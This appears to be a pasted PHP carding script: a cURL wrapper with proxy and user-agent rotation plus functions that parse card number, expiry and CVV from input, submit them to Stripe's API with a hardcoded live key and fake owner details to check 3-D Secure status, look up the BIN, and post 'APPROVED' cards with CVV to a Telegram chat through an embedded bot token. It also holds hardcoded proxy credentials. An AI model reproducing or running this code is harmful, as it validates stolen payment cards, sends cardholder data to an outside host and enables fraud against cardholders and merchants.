Untitled
unknown
plain_text
3 years ago
36 kB
10
Indexable
<?php
if (!isset($_GET['card'])) error_reporting(0);
class cURL
{
private static $ch;
private static $response;
private static array $info;
private static int $error_code;
private static $headersCallback;
private static string $error_string;
private static string $cookie_file = "";
private static string $cookies_dir = "";
private const TG_BOT_TOKEN = "5425981624:AAGiEmxcsqbhpX0VRXs3ZhCf7uFU0TmZBbg";
private static array $curlopt_headers = [
CURLOPT_TIMEOUT => 120,
CURLOPT_HEADER => false,
CURLOPT_AUTOREFERER => true,
CURLINFO_HEADER_OUT => true,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_CONNECTTIMEOUT => 120,
CURLOPT_FRESH_CONNECT => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
];
/**
* Basic curl_init for request structure
*
* @access private
* @param string $url
*
* @return void
*/
private static function setUrl(string $url): void
{
self::$ch = curl_init($url);
self::setOption(self::$curlopt_headers);
}
/**
* Add options to current curl structure
*
* @access public
* @param array $args
*
* @return void
*/
public static function setOption(array $option): void
{
curl_setopt_array(self::$ch, $option);
}
/**
* Add headers to current curl structure
*
* @access private
* @param header
*
* @return void
*/
private static function setHeader(array $header): void
{
self::setOption([CURLOPT_HTTPHEADER => $header]);
}
/**
* Set a proxy from text file, HTTP/S - SOCKS4 - SOCKS5
*
* @access private
* @param array $args
*
* @return void
*/
private static function localProxy(array $args): void
{
self::setOption([
CURLOPT_PROXY => $args["SERVER"],
CURLOPT_HTTPPROXYTUNNEL => true,
]);
}
/**
* Custom Proxy Authentication
*
* @access private
* @param array $args
*
* @return void
*/
private static function customProxy(array $args): void
{
self::setOption([
CURLOPT_PROXY => $args["SERVER"],
CURLOPT_PROXYUSERPWD => $args["AUTH"],
]);
}
/**
* Detect proxy configuration
*
* @access private
* @param array $args
*
* @return void
*/
private static function sexyProxy($args): void
{
switch (strtoupper($args["METHOD"])) {
case "TUNNEL":
self::localProxy($args);
break;
case "CUSTOM":
self::customProxy($args);
break;
}
}
/**
* Created temp DIR and store cookie
*
* @access private
* @param string $file
*
* @return void
*/
private static function autoCookie(string $file): void
{
self::$cookies_dir = dirname(__FILE__);
if (!is_dir(self::$cookies_dir . "/cache/")) {
mkdir(self::$cookies_dir . "/cache/", 0755);
}
self::$cookie_file = sprintf(
"%s/cache/%s.txt",
self::$cookies_dir,
$file
);
self::setOption([
CURLOPT_COOKIEJAR => self::$cookie_file,
CURLOPT_COOKIEFILE => self::$cookie_file,
]);
}
/**
* Delete stored cookie file
*
* @access public
*
* @return void
*/
public static function deleteCookie(): void
{
$fullPath = __DIR__ . "/cache/";
array_map("unlink", glob("$fullPath*.txt"));
}
/**
* Validate parameters
*
* @access private
* @param array $headers
* @param string $cookie
* @param array $server
*
* @return void
*/
private static function validateParam(
array $headers = null,
string $cookie = null,
array $server = null
): void {
if (!empty($headers) && (is_array($headers) || is_object($headers))) {
self::setHeader($headers);
}
if (!empty($cookie)) {
self::autoCookie($cookie);
}
if (!empty($server) && (is_array($server) || is_object($server))) {
self::sexyProxy($server);
}
}
/**
* Send a GET request method with headers, cookies and proxy server
*
* @access public
* @param string $url
* @param array $headers
* @param string $cookie
* @param array $server
*
* @return object
*/
public static function get(
string $url,
array $headers = null,
string $cookie = null,
array $server = null
): object {
self::setUrl($url);
self::setOption([
CURLOPT_USERAGENT => self::userAgent(),
CURLOPT_HTTPGET => true,
]);
self::validateParam($headers, $cookie, $server);
return self::run();
}
/**
* Send a POST request method with payload data, headers, cookies and proxy server
*
* @access public
* @param string $url
* @param string|array $data
* @param array $headers
* @param string $cookie
* @param array $server
*
* @return object
*/
public static function post(
string $url,
$data = null,
array $headers = null,
string $cookie = null,
array $server = null
): object {
self::setUrl($url);
self::setOption([
CURLOPT_USERAGENT => self::userAgent(),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => self::responseType($data),
]);
self::validateParam($headers, $cookie, $server);
return self::run();
}
/**
* Send a PUT request method with custom payload data, headers, cookies and proxy server
*
* @access public
* @param string $url
* @param string|array $data
* @param array $headers
* @param string $cookie
* @param array $server
*
* @return object
*/
public static function put(
string $url,
$data = null,
array $headers = null,
string $cookie = null,
array $server = null
): object {
self::setUrl($url);
self::setOption([
CURLOPT_USERAGENT => self::userAgent(),
CURLOPT_CUSTOMREQUEST => "PUT",
CURLOPT_POSTFIELDS => self::responseType($data),
]);
self::validateParam($headers, $cookie, $server);
return self::run();
}
/**
* Send the request structure
*
* @access public
*
* @return object
*/
public static function run(): object
{
self::createStdClass();
self::setOption([
CURLOPT_HEADERFUNCTION => createHeaderCallback(
self::$headersCallback
),
]);
self::$response = curl_exec(self::$ch);
self::$info = curl_getinfo(self::$ch);
if (self::$response === false) {
self::$error_code = curl_errno(self::$ch);
self::$error_string = curl_error(self::$ch);
curl_close(self::$ch);
return (object) [
"success" => false,
"code" => self::$info["http_code"],
"headers" => [
"request_headers" => key_exists(
"request_header",
self::$info
)
? self::parseHelper(self::$info["request_header"])
: [],
"response_headers" => self::parseHelper(
self::$headersCallback->rawResponseHeaders
),
],
"errno" => self::$error_code,
"error" => self::$error_string,
"body" => "Error, " . self::$error_string,
];
} else {
curl_close(self::$ch);
return (object) [
"success" => true,
"code" => self::$info["http_code"],
"headers" => [
"request_headers" => key_exists(
"request_header",
self::$info
)
? self::parseHelper(self::$info["request_header"])
: [],
"response_headers" => self::parseHelper(
self::$headersCallback->rawResponseHeaders
),
],
"body" => self::$response,
"raw" => json_encode([
"request_headers" => self::parseHelper(
self::$info["request_header"]
),
"response_headers" => self::parseHelper(
self::$headersCallback->rawResponseHeaders
),
]),
];
}
}
/**
* Show all data process|errors of the request
*
* @access public
*
*/
public static function debug()
{
echo sprintf(
"=============================================</br>\n
<h2>REQUEST DEBUG</h2>\n
=============================================</br>\n
<h3>RESPONSE</h3>\n
<code>%s</code></br>\n\n",
nl2br(htmlentities(self::$response))
);
echo sprintf(
"=============================================</br>\n
<h3>HEADERS</h3>\n
=============================================</br>
<pre>%s</pre>",
print_r(
[
"curl_info" => self::parseArray(self::$info),
"response_headers" => self::parseHelper(
self::$headersCallback->rawResponseHeaders
),
],
true
)
);
echo sprintf("<h3>================= END =================</h3>");
}
/**
* Store temp header callback data.
*
* @access private
*
* @return void
*
*/
private static function createStdClass(): void
{
$hcd = new \stdClass();
$hcd->rawResponseHeaders = "";
self::$headersCallback = $hcd;
}
/**
* Parse array headers
*
* @access private
* @param array $raw
*
* @return array
*/
private static function parseArray(array $raw): array
{
if (array_key_exists("request_header", $raw)) {
list($scheme, $headers) = self::parseHeaders(
$raw["request_header"]
);
$nh["scheme"] = $scheme;
$nh += $headers;
$raw["request_header"] = $nh;
}
return $raw;
}
/**
* Detect response type
*
* @access private
* @param string|array|object|null $data
*
* @return string
*/
private static function responseType($data): string
{
if (empty($data)) {
return false;
} elseif (is_array($data) || is_object($data)) {
return json_encode($data);
} else {
return $data;
}
}
/**
* Can split a string by two specific strings
*
* @access public
* @param string $start
* @param string $end
* @param string|null $data
*
* @return string
*/
public static function getBetwn($start, $end, $data = null): string
{
if($data == null) return explode($end, explode($start, self::$response)[1] ?? "")[0];
else return explode($data, explode($end, $start)[1] ?? "")[0];
}
/**
* Get a rand value from specific file.txt
*
* @access public
* @param string $file
*
* @return string
*/
public static function getRandVal(string $file): string
{
$_ = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
return $_[array_rand($_)];
}
/**
* Parse Headers
*
* @access private
* @param string $raw
*
* @return array
*/
private static function parseHeaders(string $raw): array
{
$raw = preg_split('/\r\n/', $raw, -1, PREG_SPLIT_NO_EMPTY);
$http_headers = [];
for ($i = 1; $i < count($raw); $i++) {
if (strpos($raw[$i], ":") !== false) {
list($key, $value) = explode(":", $raw[$i], 2);
$key = trim($key);
$value = trim($value);
isset($http_headers[$key])
? ($http_headers[$key] .= "," . $value)
: ($http_headers[$key] = $value);
}
}
return [($raw["0"] ??= $raw["0"]), $http_headers];
}
/**
* Parse Headers Handle
*
* @access private
* @param string $raw
*
* @return array
*/
private static function parseHelper($raw): array
{
if (empty($raw)) {
return [];
}
list($scheme, $headers) = self::parseHeaders($raw);
$request_headers["scheme"] = $scheme;
unset($headers["request_header"]);
foreach ($headers as $key => $value) {
$request_headers[$key] = $value;
}
return $request_headers;
}
/**
* Gen valid chrome version
*
* @access private
* @param string|array|object|null $version
*
* @return string
*/
private static function chromeVal($version): string
{
return random_int($version["min"], $version["max"]) .
".0." .
random_int(3000, 4999) .
"." .
random_int(10, 99);
}
/**
* return random user agent
*
* @access public
*
* @return string
*/
public static function userAgent(): string
{
$userAgent =
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/" .
(random_int(1, 100) > 50
? random_int(533, 537)
: random_int(600, 603)) .
"." .
random_int(1, 50) .
" (KHTML, like Gecko) Chrome/" .
self::chromeVal(["min" => 109, "max" => 109]) .
" Safari/" .
(random_int(1, 100) > 50
? random_int(533, 537)
: random_int(600, 603));
return $userAgent;
}
#============================== [ CUSTOM STATIC FUNCTIONS ] ==============================#
/**
* getCard Data
*
* @access public
* @param string
*
* @return string
*/
public static function card(): string
{
$data = json_decode(file_get_contents('php://input'))->card ?? $_GET['card'];
$filtered_msg = preg_replace(
'/\n+|\s+|\D+|\~|\.|\`|\,|\!|\@|\#|\£|\€|\$|\¢|\¥|\/|\§|\%|\°|\^|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\||\\|\:|\;|\"|\'|\<|\>|\?/m',
"|",
$data
);
$filtered_msg = preg_replace("/\|+/m", "|", $filtered_msg);
$filtered_msg = preg_replace("/\|1\|/m", "|01|", $filtered_msg);
$filtered_msg = preg_replace("/\|2\|/m", "|02|", $filtered_msg);
$filtered_msg = preg_replace("/\|3\|/m", "|03|", $filtered_msg);
$filtered_msg = preg_replace("/\|4\|/m", "|04|", $filtered_msg);
$filtered_msg = preg_replace("/\|5\|/m", "|05|", $filtered_msg);
$filtered_msg = preg_replace("/\|6\|/m", "|06|", $filtered_msg);
$filtered_msg = preg_replace("/\|7\|/m", "|07|", $filtered_msg);
$filtered_msg = preg_replace("/\|8\|/m", "|08|", $filtered_msg);
$filtered_msg = preg_replace("/\|9\|/m", "|09|", $filtered_msg);
if (
preg_match_all(
"/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|(22|2022|23|2023|24|2024|25|2025|26|2026|27|2027|28|2028|29|2029|30|2030|31|2031|32|2032|33|2033|34|2034|35|2035)\|[0-9]{3}/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = $matches[0][0];
}
if (
preg_match_all(
"/[0-9]{16}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 20, -4);
$year = substr($matches[0][0], 17, -7);
$cvv = substr($matches[0][0], 23, 25);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 22, -4);
$year = substr($matches[0][0], 17, -7);
$cvv = substr($matches[0][0], 25, 27);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)(22|23|24|25|26|27|28|29|30|31|32|33|34|35)/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 21, -2);
$year = substr($matches[0][0], 23, 25);
$cvv = substr($matches[0][0], 17, -5);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 21, -4);
$year = substr($matches[0][0], 23, 27);
$cvv = substr($matches[0][0], 17, -7);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|[0-9]{3}/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 17, -6);
$year = substr($matches[0][0], 19, -4);
$cvv = substr($matches[0][0], 22, 25);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|[0-9]{3}/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 17, -8);
$year = substr($matches[0][0], 19, -4);
$cvv = substr($matches[0][0], 24, 27);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 21, -3);
$year = substr($matches[0][0], 24, 26);
$cvv = substr($matches[0][0], 17, -6);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|[0-9]{3}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|(01|02|03|04|05|06|07|08|09|10|11|12)/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], -2);
$year = substr($matches[0][0], 21, -3);
$cvv = substr($matches[0][0], 17, -8);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|[0-9]{3}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|(01|02|03|04|05|06|07|08|09|10|11|12)/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], -2);
$year = substr($matches[0][0], 21, -3);
$cvv = substr($matches[0][0], 17, -6);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 19, -4);
$year = substr($matches[0][0], 17, -6);
$cvv = substr($matches[0][0], -3);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 21, -4);
$year = substr($matches[0][0], 17, -6);
$cvv = substr($matches[0][0], -3);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], -2);
$year = substr($matches[0][0], 17, -7);
$cvv = substr($matches[0][0], 20, -3);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], -2);
$year = substr($matches[0][0], 17, -7);
$cvv = substr($matches[0][0], 22, -3);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 17, -7);
$year = substr($matches[0][0], -2);
$cvv = substr($matches[0][0], 20, -3);
$card = "$card|$month|$year|$cvv";
}
if (
preg_match_all(
"/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)/",
$filtered_msg,
$matches,
PREG_SET_ORDER,
0
)
) {
$card = substr($matches[0][0], 0, 16);
$month = substr($matches[0][0], 17, -9);
$year = substr($matches[0][0], -4);
$cvv = substr($matches[0][0], 20, -5);
$card = "$card|$month|$year|$cvv";
}
$last = [
"|2021" => "|21",
"|2022" => "|22",
"|2023" => "|23",
"|2024" => "|24",
"|2025" => "|25",
"|2026" => "|26",
"|2027" => "|27",
"|2028" => "|28",
"|2029" => "|29",
"|2030" => "|30",
"|2031" => "|31",
"|2032" => "|32",
"|2033" => "|33",
"|2034" => "|34",
"|2035" => "|35",
];
$card = strtr($card, $last);
$last = [
"|21|" => "|2021|",
"|22|" => "|2022|",
"|23|" => "|2023|",
"|24|" => "|2024|",
"|25|" => "|2025|",
"|26|" => "|2026|",
"|27|" => "|2027|",
"|28|" => "|2028|",
"|29|" => "|2029|",
"|30|" => "|2030|",
"|31|" => "|2031|",
"|32|" => "|2032|",
"|33|" => "|2033|",
"|34|" => "|2034|",
"|35|" => "|2035|",
];
$card = strtr($card, $last);
if (preg_match("/[0-9]{16}\|[0-9]{2}\|[0-9]{4}\|[0-9]{3}/", $card)) {
return $card;
} else {
echo "Invalid Input !!";
die();
}
}
/**
* 3D-Secure Lookup
*
* @access public
*
* @return string
*/
public static function localvbv(string $ccnum = null): string
{
if ($ccnum == null) {
list($cc, $month, $year, $cvv) = explode("|", self::card());
} else {
$cc = $ccnum;
}
$src = self::getBetwn(
self::post(
"https://api.stripe.com/v1/sources",
"type=card&amount=100¤cy=usd&owner[name]=Geda+Gang&owner[address][line1]=150 Broadway&owner[address][state]=New York&owner[address][city]=New York&owner[address][postal_code]=10038&owner[address][country]=US&owner[email]=gedagang" .
rand(100, 999) .
"@gmail.com&owner[phone]=3157728" .
rand(100, 999) .
"&card[number]=" .
$cc .
"&card[cvc]=000&card[exp_month]=" .
$month .
"&card[exp_year]=" .
$year .
"",
[
"accept: application/json",
"content-type: application/x-www-form-urlencoded",
"Authorization: Bearer pk_live_DIxPVkthRBpkhiGnNEX5vLiN",
]
)->body,
'"id": "',
'"'
);
if (!isset($src)) {
return "PROCESSING ERROR";
}
$url = str_replace(
"\u0026",
"&",
self::getBetwn(
self::post(
"https://api.stripe.com/v1/sources",
"type=three_d_secure&amount=100¤cy=usd&three_d_secure[card]=$src&redirect[return_url]=https%3A%2F%2Fstripe.com%2Fstatic_page&key=pk_live_DIxPVkthRBpkhiGnNEX5vLiN",
[
"accept: application/json",
"content-type: application/x-www-form-urlencoded",
]
)->body,
'"url": "',
'"'
)
);
$resp = self::get($url, null)->body;
if (strpos($resp, "Return to Merchant")) {
return "3DS BYPASSED";
}
$url = str_replace(
"amp;",
"",
self::getBetwn($resp, 'id="form" method="POST" action="', '"')
);
$pareq = self::getBetwn(
$resp,
'type="hidden" name="PaReq" value="',
'"'
);
$termurl = self::getBetwn(
$resp,
'type="hidden" name="TermUrl" value="',
'"'
);
$md = self::getBetwn($resp, 'type="hidden" name="MD" value="', '"');
$resp = self::post(
$url,
"PaReq=" . $pareq . "&TermUrl=" . $termurl . "&MD=" . $md . "",
[
"accept: application/json",
"content-type: application/x-www-form-urlencoded",
]
)->body;
$url = self::getBetwn(
$resp,
'action="',
'" method="POST" id="TermForm"'
);
$pares = self::getBetwn(
$resp,
'type="hidden" name="PaRes" value="',
'"'
);
if (strpos($resp, "Your authentication could not be completed")) {
return "PROCESSING ERROR";
}
$resp = self::post($url, "PaRes=" . $pares . "&MD=", [
"accept: application/json",
"content-type: application/x-www-form-urlencoded",
])->body;
$url = self::getBetwn($resp, 'id="form" method="POST" action="', '"');
$pares = self::getBetwn(
$resp,
'type="hidden" name="PaRes" value="',
'"'
);
$md = self::getBetwn($resp, 'type="hidden" name="MD" value="', '"');
$merchant = self::getBetwn(
$resp,
'type="hidden" name="merchant" value="',
'"'
);
$resp = self::post(
$url,
"PaRes=" . $pares . "&MD=" . $md . "&merchant=" . $merchant . "",
[
"accept: application/json",
"content-type: application/x-www-form-urlencoded",
]
)->body;
if (strpos($resp, "Return to Merchant")) {
return "3DS BYPASSED";
} else {
return "3DS ENROLLED";
}
}
/**
* Bin lookup API
*
* @access public
*
* @return string
*/
public static function binx(string $ccnum = null): string
{
if ($ccnum == null) {
$card = self::card();
} else {
$card = $ccnum;
}
$cc = explode("|", $card);
$first6 = substr($cc[0], 0, 6);
$bin_resp = file_get_contents(
"https://lookup.binlist.net/" . $first6 . ""
);
$scheme = strtoupper(self::getBetwn($bin_resp, '"scheme":"', '"'));
$type = strtoupper(self::getBetwn($bin_resp, '"type":"', '"'));
$brand = strtoupper(self::getBetwn($bin_resp, '"brand":"', '"'));
$prepaid = strtoupper(self::getBetwn($bin_resp, '"prepaid":', ',"'));
$country = strtoupper(
self::getBetwn($bin_resp, '"name":"', '","emoji"')
);
$emoji = strtoupper(self::getBetwn($bin_resp, '"emoji":"', '"'));
$bank = strtoupper(self::getBetwn($bin_resp, '"bank":{"name":"', '"'));
$binpile = "$scheme|$type|$brand|$prepaid|$bank|$country|$emoji";
$binx = "" . self::localvbv() . "|" . $binpile . "";
return $binx;
}
/**
* array strpos command
*
* @access private
*
* @return string
*/
private static function strpos_array(
$haystack,
$needles = [],
$offset = 0
): string {
$chr = [];
foreach ($needles as $needle) {
$res = strpos($haystack, $needle, $offset);
if ($res !== false) {
$chr[$needle] = $res;
}
}
if (empty($chr)) {
return false;
}
return min($chr);
}
/**
* send live cards to telegram
*
* @access public
*
* @return void
*/
public static function telegram(string $data): void
{
self::get(
"https://api.telegram.org/bot" .
self::TG_BOT_TOKEN .
"/sendMessage?chat_id=-1001728610687&text=" .
$data .
"&parse_mode=html",
["Content-Type: application/json"]
);
}
/**
* return valid response
*
* @access public
*
* @return void
*/
public static function find($resp, $data, $msg): void
{
if (empty($msg)) {
$msgx = "EMPTY RESPONSE DATA";
} else {
$msgx = strtoupper($msg);
}
if (self::strpos_array($resp, $data)) {
if (empty($msg)) {
echo "<div class='content12'>APPROVED<font size='3.0'> " .
self::card() .
" CVV MATCHES|" .
self::binx() .
"</font></div>";
self::telegram(
"APPROVED " .
self::card() .
" CVV MATCHES|" .
self::binx() .
""
);
} else {
echo "<div class='content12'>APPROVED<font size='3.0'> " .
self::card() .
" CVV MATCHES|" .
$msgx .
"|" .
self::binx() .
"</font></div>";
self::telegram(
"APPROVED " .
self::card() .
" CVV MATCHES|" .
$msgx .
"|" .
self::binx() .
""
);
}
} else {
echo "<div class='content12'>DECLINED<font size='3.0'> " .
self::card() .
" MSG => $msgx</font></div>";
}
}
}
$curl = new cURl();
$cookie = uniqid("cookie_");
$server = [
"METHOD" => "CUSTOM",
"SERVER" => "pr.pyproxy.com:16666",
"AUTH" => "unique-zone-resi:mikeif8",
];
Editor is loading...